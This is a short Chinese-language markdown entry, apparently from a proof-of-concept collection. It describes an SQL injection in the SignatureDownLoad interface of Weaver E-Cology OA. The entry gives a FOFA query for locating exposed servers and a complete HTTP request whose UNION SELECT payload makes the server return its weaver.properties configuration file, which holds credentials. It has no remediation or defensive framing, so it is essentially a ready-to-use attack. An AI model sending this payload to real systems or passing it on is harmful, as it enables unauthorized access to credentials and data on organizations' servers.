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+## 泛微E-Cology系统接口SignatureDownLoad存在SQL注入漏洞
+
+## fofa
+```
+app="泛微-OA（e-cology）"
+```
+
+## poc
+```
+GET /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27 HTTP/1.1
+Host: {{Hostname}}
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept-Encoding: gzip, deflate
+Connection: close
+```
+
+![3597e4a40959cd3638fb62bcdf38b282](https://github.com/wy876/POC/assets/139549762/39a01c4b-3697-4c83-8840-cdb444ff38ce)